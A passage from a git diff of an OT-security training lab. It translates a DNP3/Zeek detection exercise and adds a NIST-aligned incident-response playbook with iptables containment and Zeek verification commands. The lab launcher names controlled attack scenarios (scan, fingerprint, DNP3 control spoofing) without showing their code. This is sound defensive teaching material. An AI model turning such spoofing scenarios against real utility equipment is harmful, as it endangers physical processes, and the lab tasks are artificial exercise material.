sort` chega para esboçar a cronologia.* -- [ ] Write a **one-page incident summary** structured as: (a) the attack scenarios you ran, in plain language, (b) the IOCs you would put in a SIEM rule for each, (c) which OTLab14 baseline fact each detector consumed, (d) what an attacker would have to do to evade your stack and stay under each allowlist. **This document is the input for OTLab16.** +- 3️⃣ Escreve um **resumo de incidente de uma página** estruturado como: (a) os cenários de ataque que correste, em linguagem corrente, (b) os IOCs que colocarias numa regra de SIEM para cada um, (c) que facto da baseline do OTLab14 cada detetor consumiu, (d) o que um atacante teria de fazer para evadir a tua stack e ficar sob cada allowlist. **Este documento é a entrada para o OTLab16.** -- [ ] Reflection paragraph (no checkbox required): in your write-up, argue briefly why allowlist-based, behavioural detection is a good fit for OT environments — and where it would break in IT environments. Reference the actual vocabulary size, baseline stability, and predictability you observed. +- 4️⃣ Parágrafo de reflexão: no teu relatório, argumenta brevemente porque a deteção comportamental baseada em allowlists é adequada a ambientes OT — e onde falharia em ambientes IT. Refere o tamanho real do vocabulário, a estabilidade da baseline e a previsibilidade que observaste. -## 🎯 Skills +## 🎯 Competências -**Hands-on:** Network Security Monitoring (Zeek) · Behavioural / Allowlist Detection · DNP3 Log Analysis · Detection Engineering +**Práticas:** Monitorização de Segurança de Rede (Zeek) · Deteção Comportamental / por Allowlist · Análise de Logs DNP3 · Engenharia de Deteção -**Detecting [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) techniques:** +**A detetar técnicas do [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** [![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) [![T0888 Remote System Information Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0888_Remote_System_Information_Discovery-red)](https://attack.mitre.org/techniques/T0888/) [![T0855 Unauthorized Command Message](https://img.shields.io/badge/ATT%26CK_ICS-T0855_Unauthorized_Command_Message-red)](https://attack.mitre.org/techniques/T0855/) -## 🔖 Nomenclature +## 🔖 Nomenclatura -- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. -- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. -- ICS: Industrial control system. -- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. -- IP: Internet protocol. -- NSM: Network security monitoring — passive observation of traffic for forensic and detection purposes; Zeek is an NSM tool. -- OT: Operational technology. -- PDU: Protocol data unit — one "message" at a given protocol layer (e.g. a DNP3 application fragment). -- PLC: Programmable logic controller. -- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. -- SCADA: Supervisory control and data acquisition. -- TCP: Transmission control protocol. -- Zeek: Open-source NSM platform (formerly Bro). Parses protocols into structured logs and exposes a scripting language for detection. +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA amplamente usado em serviços de eletricidade, água e óleo & gás. +- EWS: Estação de trabalho de engenharia (*engineering workstation*) — o host operado por engenheiros de controlo para configurar, programar e monitorizar dispositivos de campo. +- ICS: Sistema de controlo industrial (*industrial control system*). +- IOC: Indicador de compromisso (*indicator of compromise*) — um artefacto observável de rede ou host que sugere uma intrusão. +- IP: Protocolo de Internet (*internet protocol*). +- NSM: Monitorização de segurança de rede (*network security monitoring*) — observação passiva do tráfego para fins forenses e de deteção; o Zeek é uma ferramenta NSM. +- OT: Tecnologia operacional (*operational technology*). +- PDU: Protocol data unit — uma "mensagem" numa dada camada do protocolo (ex.: um fragmento de aplicação DNP3). +- PLC: Controlador lógico programável (*programmable logic controller*). +- RTU: Unidade terminal remota (*remote terminal unit*) — o papel de dispositivo de campo tipicamente desempenhado por uma outstation DNP3. +- SCADA: Supervisão, controlo e aquisição de dados (*supervisory control and data acquisition*). +- TCP: Protocolo de controlo de transmissão (*transmission control protocol*). +- Zeek: Plataforma NSM de código aberto (anteriormente Bro). Analisa protocolos em logs estruturados e expõe uma linguagem de scripting para deteção. -## 🛠️ Usage +## 🛠️ Utilização ``` Usage: ./OTLab15.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack - -start Start the DNP3_Zeek environment using the specified distro (default: ubuntu) - Valid options: kali (rolling) or ubuntu (22.04) - -run Open a terminal inside the otlab-student container - -clean Remove containers, volumes, and network (keeps host-side ./scripts/attacks and ./scripts/zeek) - -stop Stop all containers - -restart Restart previously stopped containers - -status Show current containers status - -attack Fire a controlled attack scenario from dnp3-attacker - Valid scenarios: scan fingerprint spoof + -start Inicia o ambiente DNP3_Zeek usando a distro indicada (predefinição: ubuntu) + Opções válidas: kali (rolling) ou ubuntu (22.04) + -run Abre um terminal dentro do contentor otlab-student + -clean Remove contentores, volumes e a rede (mantém ./scripts/attacks e ./scripts/zeek do lado do host) + -stop Para todos os contentores + -restart Reinicia contentores previamente parados + -status Mostra o estado atual dos contentores + -attack Dispara um cenário de ataque controlado a partir do dnp3-attacker + Cenários válidos: scan fingerprint spoof ``` > [!NOTE] -> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. - ---- +> Quando executado em **WSL2**, o script deteta automaticamente o ambiente e aplica as regras ao nível do kernel (`bridge-nf-call-iptables=0` e duas regras `DOCKER-USER` ACCEPT) necessárias para que o tráfego seja encaminhado entre as duas *bridges* Docker. Estas regras requerem `sudo` e são revertidas no `-clean`. Em Linux nativo e no Docker Desktop do macOS as regras são ignoradas — as predefinições do Docker já permitem o encaminhamento entre *bridges*. -## Solutions +## Soluções -`scripts/zeek/` ships what the student works on: `baseline.zeek` with empty -allowlists to fill from OTLab14, and three detector skeletons (header comment + -commented event signature, empty body). `local.zeek` is pre-wired to `@load` -all of them, so an untouched skeleton loads cleanly and simply emits nothing. +`scripts/zeek/` traz aquilo em que o estudante trabalha: `baseline.zeek` com allowlists vazias para preencher a partir do OTLab14, e três esqueletos de detetor (comentário de cabeçalho + assinatura de evento comentada, corpo vazio). `local.zeek` vem pré-ligado para fazer `@load` a todos eles, por isso um esqueleto intacto carrega sem problema e simplesmente não emite nada. -Worked reference answers for every task live in `scripts/solutions/` — a filled -`baseline.zeek` and all three detectors implemented. It is the instructor key and -is **not** mounted into the EWS (there, `/opt/zeek-lab` is `scripts/zeek/`); see -`scripts/solutions/README.md` to copy it in for verification. +As respostas de referência resolvidas para todas as tarefas vivem em `scripts/solutions/` — um `baseline.zeek` preenchido e os três detetores implementados. É a chave do instrutor e **não** é montada na EWS (aí, `/opt/zeek-lab` é `scripts/zeek/`); vê `scripts/solutions/README.md` para a copiar para lá e verificar. diff --git a/OTLab15/OTLab15.sh b/OTLab15/OTLab15.sh index 774ffe1..809d4bc 100755 --- a/OTLab15/OTLab15.sh +++ b/OTLab15/OTLab15.sh @@ -30,7 +30,7 @@ show_banner() { echo "| | | | | | |__| .'| . | _| " echo "|_____| |_| |_____|__,|___|___| " printf "\033[1;37m" - printf "Exercise: DNP3 + Zeek Detection\n" + printf "Exercise: 15-DNP3 Protocol Emulation and Detection with Zeek\n" printf "Version: 0.2\n" printf "Author: rafaelfarias\n" printf "\033[0m" diff --git a/OTLab15/index.en.md b/OTLab15/index.en.md new file mode 100644 index 0000000..3e8579a --- /dev/null +++ b/OTLab15/index.en.md @@ -0,0 +1,16 @@ +--- +title: "Lab 15 - DNP3 Protocol Emulation and Detection with Zeek" +description: "Translate the OTLab14 baseline into Zeek allowlists and build behavioural detectors for malicious DNP3 traffic on an OT network." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Threat Detection", "Detection Engineering", "SCADA", "Behavioural Detection", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab15-EN.md" >}} + +{{< code-preview title="📝 RESOLUTION" file="OTLab15.sh" >}} + +{{< collapsible title="📖 Zeek Reference (DNP3 Lab)" file="DNP3LabZeekReference-EN.md" >}} diff --git a/OTLab15/index.es.md b/OTLab15/index.es.md new file mode 100644 index 0000000..e2108d5 --- /dev/null +++ b/OTLab15/index.es.md @@ -0,0 +1,16 @@ +--- +title: "Lab 15 - Emulación del protocolo DNP3 y detección con Zeek" +description: "Traducir la baseline del OTLab14 en allowlists de Zeek y construir detectores conductuales para tráfico DNP3 malicioso en una red OT." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Detección de Amenazas", "Ingeniería de Detección", "SCADA", "Detección Conductual", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab15-ES.md" >}} + +{{< code-preview title="📝 RESOLUCIÓN" file="OTLab15.sh" >}} + +{{< collapsible title="📖 Referencia Zeek (DNP3 Lab)" file="DNP3LabZeekReference-ES.md" >}} diff --git a/OTLab15/index.md b/OTLab15/index.md new file mode 100644 index 0000000..3c6b2e6 --- /dev/null +++ b/OTLab15/index.md @@ -0,0 +1,16 @@ +--- +title: "Lab 15 - Emulação do protocolo DNP3 e deteção com Zeek" +description: "Traduzir a baseline do OTLab14 em allowlists Zeek e construir detetores comportamentais para tráfego DNP3 malicioso numa rede OT." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Deteção de Ameaças", "Engenharia de Deteção", "SCADA", "Deteção Comportamental", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab15.md" >}} + +{{< code-preview title="📝 RESOLUÇÃO" file="OTLab15.sh" >}} + +{{< collapsible title="📖 Referência Zeek (DNP3 Lab)" file="DNP3LabZeekReference.md" >}} diff --git a/OTLab16/IRPlaybookReference-EN.md b/OTLab16/IRPlaybookReference-EN.md new file mode 100644 index 0000000..9fdcd12 --- /dev/null +++ b/OTLab16/IRPlaybookReference-EN.md @@ -0,0 +1,120 @@ +# IR Playbook Reference — NIST-aligned Incident Response for OT + +> Lookup card for OTLab16. Keep it open in another tab while you work the incident. +> It condenses the NIST incident-response lifecycle, the OT-specific rules of +> engagement, a severity matrix, and the containment/verification recipes used in +> the tasks. Companion file: `PurdueModelReference-EN.md` (architecture). + +--- + +## 1. The lifecycle — NIST SP 800-61r3 / CSF 2.0 + +OTLab16 uses the **Rev 3** framing of *Computer Security Incident Handling*, which +maps the lifecycle onto the **CSF 2.0 functions** instead of the older four-phase +loop. + +| CSF 2.0 function | Role in this lab | When | +|------------------|------------------------------------------------------|----------------------| +| **Govern** | Roles, authority to act, who signs the all-clear | Preparation (before) | +| **Identify** | Asset inventory mapped to Purdue levels (Labs 14/15) | Preparation (before) | +| **Protect** | The OTLab15 detectors/allowlists already in place | Preparation (before) | +| **Detect** | Triage the `notice.log`; declare the incident | During | +| **Respond** | Timeline, containment, eradication | During | +| **Recover** | Restore the monitored process; baseline check | During / after | +| **Improve** | Lessons learned; feed fixes back to the baseline | After | + +> [!NOTE] +> **Relation to SP 800-61r2.** The classic r2 loop — *Preparation → Detection & +> Analysis → Containment, Eradication & Recovery → Post-Incident Activity* — still +> maps cleanly: Preparation = *Govern/Identify/Protect*; Detection & Analysis = +> *Detect*; Containment/Eradication/Recovery = *Respond/Recover*; Post-Incident = +> *Improve*. Use whichever vocabulary your report template expects. + +## 2. What is different about IR in OT (NIST SP 800-82) + +SP 800-82 (*Guide to OT Security*) inverts some IT reflexes. The priority order in +OT is **Safety → Availability → Integrity → Confidentiality** — the mirror image of +the IT C-I-A default. + +- **Do not "pull the plug".** Disconnecting or rebooting a controller can trip a + physical process. Availability of the control loop is itself a safety control. +- **Contain surgically.** Preserve the legitimate process traffic (the + master↔outstation poll) while cutting the adversary. Blanket isolation is an + outage, not a response. +- **Field devices cannot be patched on demand.** Eradication on L0–L1 often means + *cutting reach now* and scheduling the fix for a maintenance window. +- **Coordinate with operations/engineering.** No containment or recovery action + goes ahead without the operations authoriser named during Preparation. +- **Recovery = the process is verified normal**, not merely that the malware is + gone. Telemetry must be back in its known-good range. + +## 3. Severity / escalation matrix (OT-weighted) + +Rank by impact on the **process**, not on data. Pick the highest row that applies. + +| Severity | Safety / Availability impact | Example in this lab | +|--------------|------------------------------------------------------|-----------------------------------------------| +| **Critical** | Manipulation of a field device / breaker plausible | Spoofed control toward the L1 outstation | +| **High** | Adversary has a reachable path into OT (L0–L2) | Attacker traffic crossing the corp→OT conduit | +| **Medium** | Recon/fingerprinting inside OT, no control yet | Unexpected function codes in `dnp3.log` | +| **Low** | Activity confined to IT/L3.5, no OT reach | Scan that never leaves the corp segment | + +## 4. Incident checklist (map to the 7 lab actions) + +- [ ] **Identify** — assets placed on Purdue levels; ops contact named *(Action 1)* +- [ ] **Detect** — `notice.log` triaged; incident declared with scope + Purdue levels *(Action 2)* +- [ ] **Respond** — timeline rebuilt; abused conduit named *(Action 3)* +- [ ] **Respond** — conduit cut surgically; verified poll still flows *(Action 4)* +- [ ] **Respond** — foothold eradicated; initial vector closed *(Action 5)* +- [ ] **Recover** — baseline check passes; ops authorises all-clear *(Action 6)* +- [ ] **Improve** — post-incident report; architecture recommendation *(Action 7)* + +## 5. Containment recipe (surgical, not blanket) + +The legitimate master lives on the **corp** segment (`192.168.21.20`) and its poll +crosses into OT through the dual-homed EWS. So you **cannot** drop corp→OT wholesale +— that kills the process. Drop **only the attacker**, and apply it where the traffic +is actually routed: the **EWS's own `FORWARD` chain** (the EWS is the conduit). The +rule goes at the top so it wins over the forwarding rules: + +```bash +# Applied automatically by ./OTLab16.sh -contain : +docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +# Lift it with ./OTLab16.sh -restore : +docker exec otlab-student iptables -D FORWARD -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +``` + +> [!NOTE] +> **Why the EWS and not the host?** Every corp↔OT packet is routed by the dual-homed +> EWS (`ip_forward=1`), so its `FORWARD` chain is the real chokepoint — and it behaves +> the same on WSL2, native Linux, and macOS, with no host `sudo`. A DROP in the host +> `DOCKER-USER` chain does **not** work under WSL2: inter-bridge traffic is L2-switched +> and, with `bridge-nf-call-iptables=0` (set so cross-bridge routing works at all), +> never traverses the host netfilter — so such a rule is silently inert. + +> Check the rule is in place and catching packets: +> ```bash +> docker exec otlab-student iptables -L FORWARD -n -v --line-numbers | grep 21.30 +> ``` + +## 6. Verification recipe (Zeek) + +After containment, prove **both** halves of the OT trade-off from the EWS: + +```bash +# (a) Attacker is cut — its IP should no longer appear talking to OT: +cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u +# -> the 192.168.21.30 -> 192.168.20.10 row is GONE + +# (b) Process still runs — master keeps polling the outstation: +cat dnp3.log | zeek-cut ts id.orig_h id.resp_h fc_request | sort | tail +# -> 192.168.21.20 -> 192.168.20.10 polls continue (~10 s cadence) + +# (c) All-clear — no new notices after restore: +cat notice.log | zeek-cut ts note src 2>/dev/null +# -> empty / no new rows +``` + +All-clear (Action 6) is signed off only when: clean `notice.log`, endpoints and +function codes inside the OTLab14 allowlists, and telemetry in range +(**110–130 V**, **0.5–15 A**, breaker toggling on its ~100 s cadence). diff --git a/OTLab16/IRPlaybookReference-ES.md b/OTLab16/IRPlaybookReference-ES.md new file mode 100644 index 0000000..1a2f45d --- /dev/null +++ b/OTLab16/IRPlaybookReference-ES.md @@ -0,0 +1,125 @@ +# IR Playbook Reference — Respuesta a Incidentes alineada con el NIST para OT + +> Tarjeta de consulta para el OTLab16. Mantenla abierta en otra pestaña mientras +> trabajas el incidente. Condensa el ciclo de vida de respuesta a incidentes del NIST, +> las reglas de enfrentamiento específicas de OT, una matriz de severidad y las recetas +> de contención/verificación usadas en las tareas. Fichero compañero: +> `PurdueModelReference-ES.md` (arquitectura). + +--- + +## 1. El ciclo de vida — NIST SP 800-61r3 / CSF 2.0 + +El OTLab16 usa el enfoque de la **Rev 3** del *Computer Security Incident Handling*, +que mapea el ciclo de vida en las **funciones del CSF 2.0** en lugar del antiguo ciclo +de cuatro fases. + +| Función CSF 2.0 | Papel en este laboratorio | Cuándo | +|------------------|-------------------------------------------------------|----------------------| +| **Govern** | Roles, autoridad para actuar, quién firma el "todo despejado" | Preparación (antes) | +| **Identify** | Inventario de activos mapeado a niveles Purdue (Labs 14/15) | Preparación (antes) | +| **Protect** | Los detectores/allowlists del OTLab15 ya implementados | Preparación (antes) | +| **Detect** | Triaje del `notice.log`; declarar el incidente | Durante | +| **Respond** | Cronología, contención, erradicación | Durante | +| **Recover** | Restaurar el proceso monitorizado; verificación de baseline | Durante / después | +| **Improve** | Lecciones aprendidas; realimentar correcciones en la baseline | Después | + +> [!NOTE] +> **Relación con el SP 800-61r2.** El ciclo clásico r2 — *Preparation → Detection & +> Analysis → Containment, Eradication & Recovery → Post-Incident Activity* — todavía +> mapea bien: Preparation = *Govern/Identify/Protect*; Detection & Analysis = +> *Detect*; Containment/Eradication/Recovery = *Respond/Recover*; Post-Incident = +> *Improve*. Usa el vocabulario que exija la plantilla de tu informe. + +## 2. Qué es diferente en la IR en OT (NIST SP 800-82) + +El SP 800-82 (*Guide to OT Security*) invierte algunos reflejos de IT. El orden de +prioridad en OT es **Safety → Disponibilidad → Integridad → Confidencialidad** — +el espejo del estándar C-I-A de IT. + +- **No "desenchufar".** Desconectar o reiniciar un controlador puede disparar un + proceso físico. La disponibilidad del bucle de control es, ella misma, un control + de seguridad física. +- **Contener quirúrgicamente.** Preserva el tráfico legítimo del proceso (el poll + master↔outstation) mientras cortas al adversario. El aislamiento total es una + interrupción del servicio, no una respuesta. +- **Los dispositivos de campo no pueden parchearse a demanda.** La erradicación en + L0–L1 a menudo significa *cortar el alcance ahora* y agendar la corrección para + una ventana de mantenimiento. +- **Coordinar con operaciones/ingeniería.** Ninguna acción de contención o + recuperación avanza sin el autorizador de operaciones nombrado durante la Preparación. +- **Recuperación = el proceso está verificado como normal**, no solo que el malware + desapareció. La telemetría debe estar de vuelta en su rango conocido-bueno. + +## 3. Matriz de severidad / escalamiento (ponderada para OT) + +Clasifica por el impacto sobre el **proceso**, no sobre los datos. Elige la fila más +alta que aplique. + +| Severidad | Impacto en Safety / Disponibilidad | Ejemplo en este laboratorio | +|--------------|------------------------------------------------------|-----------------------------------------------| +| **Crítica** | Manipulación de un dispositivo de campo / interruptor plausible | Control falsificado hacia la outstation L1 | +| **Alta** | El adversario tiene un camino alcanzable hacia OT (L0–L2) | Tráfico del atacante cruzando el conduit corp→OT | +| **Media** | Recon/fingerprinting dentro de OT, aún sin control | Códigos de función inesperados en el `dnp3.log` | +| **Baja** | Actividad confinada a IT/L3.5, sin alcance a OT | Scan que nunca sale del segmento corporativo | + +## 4. Checklist de incidente (mapear a las 7 acciones del laboratorio) + +- [ ] **Identify** — activos colocados en niveles Purdue; contacto de operaciones nombrado *(Acción 1)* +- [ ] **Detect** — `notice.log` triado; incidente declarado con alcance + niveles Purdue *(Acción 2)* +- [ ] **Respond** — cronología reconstruida; conduit abusado nombrado *(Acción 3)* +- [ ] **Respond** — conduit cortado quirúrgicamente; verificado que el poll sigue fluyendo *(Acción 4)* +- [ ] **Respond** — punto de apoyo erradicado; vector inicial cerrado *(Acción 5)* +- [ ] **Recover** — verificación de baseline pasa; operaciones autoriza el "todo despejado" *(Acción 6)* +- [ ] **Improve** — informe post-incidente; recomendación de arquitectura *(Acción 7)* + +## 5. Receta de contención (quirúrgica, no total) + +El master legítimo vive en el segmento **corporativo** (`192.168.21.20`) y su poll +cruza hacia OT por la EWS dual-homed. Por eso **no puedes** dropear corp→OT en bloque +— eso mata el proceso. Dropea **solo al atacante** y aplícalo donde el tráfico es +realmente enrutado: la **propia chain `FORWARD` de la EWS** (la EWS es el conduit). La +regla va en la parte superior para ganar a las reglas de reenvío: + +```bash +# Applied automatically by ./OTLab16.sh -contain : +docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +# Lift it with ./OTLab16.sh -restore : +docker exec otlab-student iptables -D FORWARD -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +``` + +> [!NOTE] +> **¿Por qué la EWS y no el host?** Cada paquete corp↔OT es enrutado por la EWS +> dual-homed (`ip_forward=1`), por lo que su chain `FORWARD` es el verdadero punto de +> estrangulamiento — y se comporta igual en WSL2, Linux nativo y macOS, sin `sudo` en +> el host. Un DROP en la chain `DOCKER-USER` del host **no** funciona en WSL2: el +> tráfico entre bridges se conmuta a L2 y, con `bridge-nf-call-iptables=0` (definido +> para que el enrutamiento entre bridges funcione siquiera), nunca atraviesa el +> netfilter del host — por lo que esa regla queda silenciosamente inerte. + +> Verifica que la regla está aplicada y atrapando paquetes: +> ```bash +> docker exec otlab-student iptables -L FORWARD -n -v --line-numbers | grep 21.30 +> ``` + +## 6. Receta de verificación (Zeek) + +Tras la contención, prueba **ambas** mitades del compromiso OT desde la EWS: + +```bash +# (a) Attacker is cut — its IP should no longer appear talking to OT: +cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u +# -> the 192.168.21.30 -> 192.168.20.10 row is GONE + +# (b) Process still runs — master keeps polling the outstation: +cat dnp3.log | zeek-cut ts id.orig_h id.resp_h fc_request | sort | tail +# -> 192.168.21.20 -> 192.168.20.10 polls continue (~10 s cadence) + +# (c) All-clear — no new notices after restore: +cat notice.log | zeek-cut ts note src 2>/dev/null +# -> empty / no new rows +``` + +El "todo despejado" (Acción 6) solo se aprueba cuando: `notice.log` limpio, endpoints +y códigos de función de vuelta dentro de las allowlists del OTLab14, y telemetría en +el rango (**110–130 V**, **0,5–15 A**, interruptor alternando en su cadencia de ~100 s). diff --git a/OTLab16/IRPlaybookReference.md b/OTLab16/IRPlaybookReference.md index 44638c6..342cad3 100644 --- a/OTLab16/IRPlaybookReference.md +++ b/OTLab16/IRPlaybookReference.md @@ -1,81 +1,85 @@ -# IR Playbook Reference — NIST-aligned Incident Response for OT +# IR Playbook Reference — Resposta a Incidentes alinhada com o NIST para OT -> Lookup card for OTLab16. Keep it open in another tab while you work the incident. -> It condenses the NIST incident-response lifecycle, the OT-specific rules of -> engagement, a severity matrix, and the containment/verification recipes used in -> the tasks. Companion file: `PurdueModelReference.md` (architecture). +> Cartão de consulta para o OTLab16. Mantém-no aberto noutro separador enquanto +> trabalhas o incidente. Condensa o ciclo de vida de resposta a incidentes do NIST, +> as regras de empenhamento específicas de OT, uma matriz de severidade e as receitas +> de contenção/verificação usadas nas tarefas. Ficheiro companheiro: +> `PurdueModelReference.md` (arquitetura). --- -## 1. The lifecycle — NIST SP 800-61r3 / CSF 2.0 +## 1. O ciclo de vida — NIST SP 800-61r3 / CSF 2.0 -OTLab16 uses the **Rev 3** framing of *Computer Security Incident Handling*, which -maps the lifecycle onto the **CSF 2.0 functions** instead of the older four-phase -loop. +O OTLab16 usa o enquadramento da **Rev 3** do *Computer Security Incident Handling*, +que mapeia o ciclo de vida nas **funções do CSF 2.0** em vez do antigo ciclo de +quatro fases. -| CSF 2.0 function | Role in this lab | When | -|------------------|------------------------------------------------------|----------------------| -| **Govern** | Roles, authority to act, who signs the all-clear | Preparation (before) | -| **Identify** | Asset inventory mapped to Purdue levels (Labs 14/15) | Preparation (before) | -| **Protect** | The OTLab15 detectors/allowlists already in place | Preparation (before) | -| **Detect** | Triage the `notice.log`; declare the incident | During | -| **Respond** | Timeline, containment, eradication | During | -| **Recover** | Restore the monitored process; baseline check | During / after | -| **Improve** | Lessons learned; feed fixes back to the baseline | After | +| Função CSF 2.0 | Papel neste laboratório | Quando | +|------------------|-------------------------------------------------------|----------------------| +| **Govern** | Papéis, autoridade para agir, quem assina o "tudo limpo" | Preparação (antes) | +| **Identify** | Inventário de ativos mapeado a níveis Purdue (Labs 14/15) | Preparação (antes) | +| **Protect** | Os detetores/allowlists do OTLab15 já implementados | Preparação (antes) | +| **Detect** | Triagem do `notice.log`; declarar o incidente | Durante | +| **Respond** | Cronologia, contenção, erradicação | Durante | +| **Recover** | Restaurar o processo monitorizado; verificação de baseline | Durante / depois | +| **Improve** | Lições aprendidas; realimentar correções na baseline | Depois | > [!NOTE] -> **Relation to SP 800-61r2.** The classic r2 loop — *Preparation → Detection & -> Analysis → Containment, Eradication & Recovery → Post-Incident Activity* — still -> maps cleanly: Preparation = *Govern/Identify/Protect*; Detection & Analysis = +> **Relação com o SP 800-61r2.** O ciclo clássico r2 — *Preparation → Detection & +> Analysis → Containment, Eradication & Recovery → Post-Incident Activity* — ainda +> mapeia bem: Preparation = *Govern/Identify/Protect*; Detection & Analysis = > *Detect*; Containment/Eradication/Recovery = *Respond/Recover*; Post-Incident = -> *Improve*. Use whichever vocabulary your report template expects. - -## 2. What is different about IR in OT (NIST SP 800-82) - -SP 800-82 (*Guide to OT Security*) inverts some IT reflexes. The priority order in -OT is **Safety → Availability → Integrity → Confidentiality** — the mirror image of -the IT C-I-A default. - -- **Do not "pull the plug".** Disconnecting or rebooting a controller can trip a - physical process. Availability of the control loop is itself a safety control. -- **Contain surgically.** Preserve the legitimate process traffic (the - master↔outstation poll) while cutting the adversary. Blanket isolation is an - outage, not a response. -- **Field devices cannot be patched on demand.** Eradication on L0–L1 often means - *cutting reach now* and scheduling the fix for a maintenance window. -- **Coordinate with operations/engineering.** No containment or recovery action - goes ahead without the operations authoriser named during Preparation. -- **Recovery = the process is verified normal**, not merely that the malware is - gone. Telemetry must be back in its known-good range. - -## 3. Severity / escalation matrix (OT-weighted) - -Rank by impact on the **process**, not on data. Pick the highest row that applies. - -| Severity | Safety / Availability impact | Example in this lab | +> *Improve*. Usa o vocabulário que o modelo do teu relatório exigir. + +## 2. O que é diferente na IR em OT (NIST SP 800-82) + +O SP 800-82 (*Guide to OT Security*) inverte alguns reflexos de IT. A ordem de +prioridade em OT é **Safety → Disponibilidade → Integridade → Confidencialidade** — +o espelho do padrão C-I-A de IT. + +- **Não "desligar a ficha".** Desconectar ou reiniciar um controlador pode disparar + um processo físico. A disponibilidade do ciclo de controlo é, ela própria, um + controlo de segurança física. +- **Conter cirurgicamente.** Preserva o tráfego legítimo do processo (o poll + master↔outstation) enquanto cortas o adversário. Isolamento total é uma paragem + de serviço, não uma resposta. +- **Dispositivos de campo não podem ser corrigidos a pedido.** A erradicação em + L0–L1 muitas vezes significa *cortar o alcance agora* e agendar a correção para + uma janela de manutenção. +- **Coordenar com operações/engenharia.** Nenhuma ação de contenção ou recuperação + avança sem o autorizador de operações nomeado durante a Preparação. +- **Recuperação = o processo está verificado como normal**, não apenas que o malware + desapareceu. A telemetria tem de estar de volta à sua gama conhecida-boa. + +## 3. Matriz de severidade / escalonamento (ponderada para OT) + +Classifica pelo impacto no **processo**, não nos dados. Escolhe a linha mais alta que +se aplique. + +| Severidade | Impacto em Safety / Disponibilidade | Exemplo neste laboratório | |--------------|------------------------------------------------------|-----------------------------------------------| -| **Critical** | Manipulation of a field device / breaker plausible | Spoofed control toward the L1 outstation | -| **High** | Adversary has a reachable path into OT (L0–L2) | Attacker traffic crossing the corp→OT conduit | -| **Medium** | Recon/fingerprinting inside OT, no control yet | Unexpected function codes in `dnp3.log` | -| **Low** | Activity confined to IT/L3.5, no OT reach | Scan that never leaves the corp segment | +| **Crítica** | Manipulação de um dispositivo de campo / disjuntor plausível | Controlo falsificado em direção à outstation L1 | +| **Alta** | O adversário tem um caminho alcançável para OT (L0–L2) | Tráfego do atacante a atravessar o conduit corp→OT | +| **Média** | Recon/fingerprinting dentro de OT, ainda sem controlo | Códigos de função inesperados no `dnp3.log` | +| **Baixa** | Atividade confinada a IT/L3.5, sem alcance a OT | Scan que nunca sai do segmento corporativo | -## 4. Incident checklist (map to the 7 lab actions) +## 4. Checklist de incidente (mapear às 7 ações do laboratório) -- [ ] **Identify** — assets placed on Purdue levels; ops contact named *(Action 1)* -- [ ] **Detect** — `notice.log` triaged; incident declared with scope + Purdue levels *(Action 2)* -- [ ] **Respond** — timeline rebuilt; abused conduit named *(Action 3)* -- [ ] **Respond** — conduit cut surgically; verified poll still flows *(Action 4)* -- [ ] **Respond** — foothold eradicated; initial vector closed *(Action 5)* -- [ ] **Recover** — baseline check passes; ops authorises all-clear *(Action 6)* -- [ ] **Improve** — post-incident report; architecture recommendation *(Action 7)* +- [ ] **Identify** — ativos colocados em níveis Purdue; contacto de operações nomeado *(Ação 1)* +- [ ] **Detect** — `notice.log` triado; incidente declarado com âmbito + níveis Purdue *(Ação 2)* +- [ ] **Respond** — cronologia reconstruída; conduit abusado nomeado *(Ação 3)* +- [ ] **Respond** — conduit cortado cirurgicamente; verificado que o poll continua a fluir *(Ação 4)* +- [ ] **Respond** — ponto de apoio erradicado; vetor inicial fechado *(Ação 5)* +- [ ] **Recover** — verificação de baseline passa; operações autoriza o "tudo limpo" *(Ação 6)* +- [ ] **Improve** — relatório pós-incidente; recomendação de arquitetura *(Ação 7)* -## 5. Containment recipe (surgical, not blanket) +## 5. Receita de contenção (cirúrgica, não total) -The legitimate master lives on the **corp** segment (`192.168.21.20`) and its poll -crosses into OT through the dual-homed EWS. So you **cannot** drop corp→OT wholesale -— that kills the process. Drop **only the attacker**, and apply it where the traffic -is actually routed: the **EWS's own `FORWARD` chain** (the EWS is the conduit). The -rule goes at the top so it wins over the forwarding rules: +O master legítimo vive no segmento **corporativo** (`192.168.21.20`) e o seu poll +atravessa para OT pela EWS dual-homed. Por isso **não podes** dropar corp→OT em bloco +— isso mata o processo. Dropa **apenas o atacante** e aplica-o onde o tráfego é de +facto encaminhado: a **própria chain `FORWARD` da EWS** (a EWS é o conduit). A regra +vai no topo para ganhar às regras de encaminhamento: ```bash # Applied automatically by ./OTLab16.sh 